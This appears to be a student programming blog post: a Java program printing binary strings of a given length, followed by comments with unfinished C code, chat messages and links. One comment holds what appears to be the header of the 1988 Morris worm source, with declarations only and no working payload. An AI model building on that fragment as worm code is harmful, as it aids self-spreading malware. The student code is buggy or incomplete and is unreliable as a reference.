If no. of Binary digits is greater than the number itself

 import java.util.Scanner;

public class Check{
public static void main(String args[]){
Scanner sc = new Scanner(System.in);
System.out.print("Enter the Number: ");
int n = sc.nextInt();
for (int i = 2; i<= n;i++){
String bin = load_binary(i);
if (n == bin.length()){
System.out.println(bin);
}
}
}
public static String load_binary(int i){
int n = i;
int bin = 0;
while (n > 0){
bin = (bin*10)+n%2;
n/=2;
}
String bin2 = Integer.toString(bin);
return bin2;
}
}

Comments

  1. #include
    void push(int* stack,int* top,int size, int element){
    if (*(stack+*top) == size){
    printf("Stack Overflow!");
    }
    *(stack + *(top)) = element;
    }
    int main(){
    char Q[20], stack[20];
    char precedence[][] = {{'*','/'},{'+','-'}};
    printf("Enter the expression: ");
    scanf("%s",Q);
    /*
    *check for opening bracket
    *When operator encountered then pop the stack until opening bracket is encounterd
    **if that operator has high precedence than the encountered one then pop the stack one and append on the p
    *if ')' is encountered then pop the stack until closing bracket is encounterd.*/
    char P[20];
    for (int i = 0; i < 20; i++){

    }

    }

    ReplyDelete
  2. https://stackoverflow.com/questions/9709209/html-select-only-one-checkbox-in-a-group

    ReplyDelete
  3. Welcome to the Chat Everyone !!!

    ReplyDelete
  4. HAM ISSE USE KARKE BAAT KARENGE

    ReplyDelete
  5. HEY..........WHATS UP

    ReplyDelete
  6. AGENT 10 HERE .....EVERYONE ENTER TO THIS BLOGSPOT RIGHT NOW

    ReplyDelete
  7. #include
    #include
    struct node{
    int data;
    struct node* next;
    }*head,*node1,*node2,*tail;
    void insert(struct node* nd,struct node* ndNxt){
    printf("Enter the data for the node: ");
    int element;
    scanf("%d",&element);
    nd->data = element;
    nd->next = ndNxt;
    }
    int main(){
    printf("***Welcome to linked Lists***");
    int ch;
    printf("\nEnter 1 to insert: ");
    scanf("%d",&ch);
    switch(ch){
    case 1:
    head = (struct node *)malloc(sizeof(struct node));
    node1 = (struct node *)malloc(sizeof(struct node));
    node2 = (struct node *)malloc(sizeof(struct node));
    tail = (struct node *)malloc(sizeof(struct node));
    insert(head, node1);
    insert(node1, node2);
    insert(node2, tail);
    printf("Enter the tail data: ");
    scanf("%d",&tail->data);
    tail->next=NULL;
    printf("\nhead = %d",head->data);
    printf("\nnode1 = %d",head->next->data);
    printf("\nnode2 = %d",head->next->next->data);
    printf("\ntail = %d",head->next->next->next->data);
    break;

    }
    }

    ReplyDelete
  8. https://gist.github.com/a6a4c4bc737be4a03742f3ce39e4c65d.git

    ReplyDelete
  9. #define REPORT_PORT 0x2c5d
    #define MAGIC_1 0x00148898
    #define MAGIC_2 0x00874697
    extern int pleasequit;

    #define error()

    struct hst
    {
    char *hostname;
    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
    int o48[6];
    int flag;
    #define HST_HOSTEQUIV 8
    #define HST_HOSTFOUR 4
    #define HST_HOSTTWO 2
    struct hst * next;
    };

    typedef struct
    {
    char *name;
    unsigned long size;
    char *buf;
    }

    object;

    extern struct ifses
    {
    int if_l0, if_l4, if_l8, if_l12;
    int if_l16;
    int if_l20;
    int if_l24;
    short if_l28;
    }

    ifs[];
    extern nifs;

    extern int ngateways;

    extern object objects[], *getobjectbyname();
    extern int nobjects;

    struct bar
    {
    int baz;
    };

    extern struct bar* a2in();

    ReplyDelete

Post a Comment